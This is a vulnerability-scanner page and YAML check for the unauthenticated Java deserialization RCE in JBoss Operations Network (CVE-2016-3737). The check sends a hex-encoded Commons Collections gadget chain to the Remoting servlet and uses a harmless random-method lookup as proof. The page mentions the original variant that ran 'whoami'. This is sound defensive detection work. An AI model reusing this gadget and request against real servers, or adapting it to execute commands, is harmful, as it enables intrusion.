JBoss Operations Network — 1 vulnerability check
noctis ships 1 vulnerability check for JBoss Operations Network, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Red Hat JBoss Operations Network Remoting Servlet Java Deserialization RCE
| CVE | CVE-2016-3737 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_open, tcp_send, sleep, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/jboss-operations-network/CVE-2016-3737.yaml |
Detects Red Hat JBoss Operations Network (JON) servers before 3.3.6 whose JBoss Remoting servlet invoker deserializes the body of an HTTP request without authentication, which lets a remote attacker execute arbitrary code. The test POSTs to /jboss-remoting-servlet-invoker/ServerInvokerServlet/ a serialized Apache Commons Collections gadget chain whose only action is to look up a public method with a random name ("Noctis" followed by random characters) on a string. The method does not exist, so a vulnerable server throws an InvokerTransformer exception naming that random method and shows it in its error reply. Seeing the random name inside that exception proves the server deserialized the gadget and performed an attacker-chosen reflective method call, the primitive used for code execution. Servers with a fixed Commons Collections library, or without the unauthenticated servlet, are not reported. Nothing is executed, written or loaded on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Checks
verdict.hitfor^true$→ finding QoD 97: POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/ with a Commons-Collections InvokerTransformer gadget naming the random method …:…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-3737
- https://access.redhat.com/errata/RHSA-2016:1519
- https://bugzilla.redhat.com/show_bug.cgi?id=1333618
- https://www.tenable.com/security/research/tra-2016-22
Feed source — tests/vulnerabilities/jboss-operations-network/CVE-2016-3737.yaml
# Red Hat JBoss Operations Network (JON) server — unauthenticated Java deserialization
# RCE in the JBoss Remoting servlet invoker (CVE-2016-3737, RHSA-2016:1519, Red Hat
# bug 1333618, Tenable TRA-2016-22). Affected: JON before 3.3.6.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_jboss_on_90430.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105832, GPL-2.0-only)
# Same entry point and request: POST
# /jboss-remoting-servlet-invoker/ServerInvokerServlet/?generalizeSocketException=true
# with "Content-Type: application/octet-stream" and "JBoss-Remoting-Version: 22", the
# body being a serialized Java object that the servlet reads with ObjectInputStream
# before any authentication (jboss-remoting ServletServerInvoker.processRequest).
#
# Deliberate deviations, all making the check stronger:
# * Gadget: the NASL sends ysoserial CommonsCollections5
# (BadAttributeValueExpException.readObject -> toString), which needs a JDK without a
# security manager and runs "whoami" on the target. We send the HashSet ->
# TiedMapEntry -> LazyMap chain ("CC6"), which fires on every JDK as long as
# commons-collections <= 3.2.1 is on the classpath.
# * Proof: the NASL looks for the static string "javax.management.
# BadAttributeValueExpException cannot be cast to", i.e. the ClassCastException
# raised AFTER the command ran. We run nothing: the LazyMap factory is
# InvokerTransformer("Noctis<random>", [], []), so the gadget makes the target look
# up a public method with our random name on a String. It does not exist, so
# commons-collections throws
# FunctorException: InvokerTransformer: The method 'Noctis<random>' on
# 'class java.lang.String' does not exist
# which escapes the servlet and is rendered by the container's 500 error page. That
# message is built by the target's reflective lookup of an attacker-chosen method
# (the RCE primitive), and the random marker rules out a static error page.
#
# Discrimination (validated against real Tomcat 9 / JDK 8 with a servlet that reads the
# body with ObjectInputStream and casts it, as ServletServerInvoker does, with
# commons-collections 3.1 / 3.2.2 — see infra/docker/jboss-on-3737-mock/gen/):
# - CC <= 3.2.1 (vulnerable): 500, "InvokerTransformer: The method '<marker>'
# on 'class java.lang.String' does not exist"
# - CC 3.2.2 (patched): 500, UnsupportedOperationException "Serialization support for
# ...InvokerTransformer is disabled" — no marker
# - servlet removed / secured: 401/403/404 — no marker
# The request never contains "The method", so a server that echoes the body cannot match.
uid: cf6beec3-33f9-40e1-946f-a4f97a6b70a6
name: "Red Hat JBoss Operations Network Remoting Servlet Java Deserialization RCE (CVE-2016-3737)"
description: |
Detects Red Hat JBoss Operations Network (JON) servers before 3.3.6 whose JBoss
Remoting servlet invoker deserializes the body of an HTTP request without
authentication, which lets a remote attacker execute arbitrary code. The test POSTs
to /jboss-remoting-servlet-invoker/ServerInvokerServlet/ a serialized Apache Commons
Collections gadget chain whose only action is to look up a public method with a
random name ("Noctis" followed by random characters) on a string. The method does not
exist, so a vulnerable server throws an InvokerTransformer exception naming that
random method and shows it in its error reply. Seeing the random name inside that
exception proves the server deserialized the gadget and performed an attacker-chosen
reflective method call, the primitive used for code execution. Servers with a fixed
Commons Collections library, or without the unauthenticated servlet, are not
reported. Nothing is executed, written or loaded on the target.
cves: [CVE-2016-3737]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags:
- jboss
- jboss-operations-network
- jboss-remoting
- commons-collections
- deserialization
- rce
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-3737"
- "https://access.redhat.com/errata/RHSA-2016:1519"
- "https://bugzilla.redhat.com/show_bug.cgi?id=1333618"
- "https://www.tenable.com/security/research/tra-2016-22"
steps:
- id: gen-marker
action: script
store_as: cc
code: |
#{ marker: "Noctis" + substr(str_replace(oob_token, "-", ""), 0, 11) }
- id: init-reply
action: set_var
var_name: reply
var_value: {responded: false, response: null}
- id: init-late
action: set_var
var_name: late
var_value: {responded: false, response: null}
# HashSet{TiedMapEntry(LazyMap(InvokerTransformer(<marker>, [], [])))} produced by
# ObjectOutputStream (commons-collections 3.1, gen/GenGadget.java); only the method
# name string (TC_STRING 0x74 + u16 length + bytes) is spliced in at scan time.
- id: build-frame
action: script
store_as: req
code: |
let g = "";
g += "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f400000";
g += "00000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e";
g += "546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563";
g += "743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400066e6f637469737372002a6f72672e617061";
g += "6368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c00";
g += "07666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73";
g += "666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63";
g += "746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a";
g += "6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f53747269";
g += "6e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a61";
g += "76612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000000";
g += "74";
g += p16be(strlen(cc.marker));
g += hexstr(cc.marker);
g += "757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000000737200116a6176612e";
g += "7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64";
g += "78703f4000000000000c77080000001000000000787878";
let blen = strlen(g) / 2;
let r = "POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/?generalizeSocketException=true HTTP/1.1\r\n";
r += "Host: " + target_host + ":" + port.to_string() + "\r\n";
r += "Content-Type: application/octet-stream\r\n";
r += "JBoss-Remoting-Version: 22\r\n";
r += "Accept: */*\r\n";
r += "Content-Length: " + blen.to_string() + "\r\n";
r += "Connection: close\r\n";
r += "\r\n";
#{ frame: hexstr(r) + g }
# Raw socket (TLS auto-wrapped on https): the body is binary.
- id: open-servlet
action: tcp_open
handle: rem
port: "{{port}}"
timeout_secs: 10
store_as: conn
- id: send-gadget
action: tcp_send
handle: rem
send_hex: "{{req.frame}}"
store_as: reply
# tcp_send gives up when the first reply byte takes > 500 ms; deserialization and the
# error page can be slower on a busy server. Wait, then read late bytes on the same
# socket (returns at once when the server already closed).
- id: wait-late
action: sleep
duration_ms: 3000
condition: "reply.responded == false"
- id: read-late
action: tcp_send
handle: rem
send: ""
store_as: late
- id: close-servlet
action: tcp_close
handle: rem
- id: verify
action: script
store_as: verdict
code: |
let body = "";
let status = "";
if type_of(reply.response) == "string" { body += reply.response; }
if type_of(late.response) == "string" { body += late.response; }
let m = eregmatch("^HTTP/[0-9.]+ ([0-9]{3})", body);
if m.len() >= 2 { status = m[1]; }
// HTTP chunk-size lines could split the message: drop them first.
body = ereg_replace("\r\n[0-9a-fA-F]{1,8}\r\n", "", body);
let q = "('|�?39;|'|')";
let hit = ereg("InvokerTransformer: The method " + q + cc.marker + q + " on ", body);
#{ hit: hit, status: status }
- id: confirm
action: match
source: verdict.hit
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "POST /jboss-remoting-servlet-invoker/ServerInvokerServlet/ with a Commons-Collections InvokerTransformer gadget naming the random method {{cc.marker}}: HTTP {{verdict.status}} reply carries \"InvokerTransformer: The method '{{cc.marker}}' ... does not exist\" — the target deserialized the gadget and performed the attacker-chosen reflective call (CVE-2016-3737)"
remediation: "Upgrade Red Hat JBoss Operations Network to 3.3.6 or later (RHSA-2016:1519), and do not expose the JON server's HTTP ports to untrusted networks."
stop: true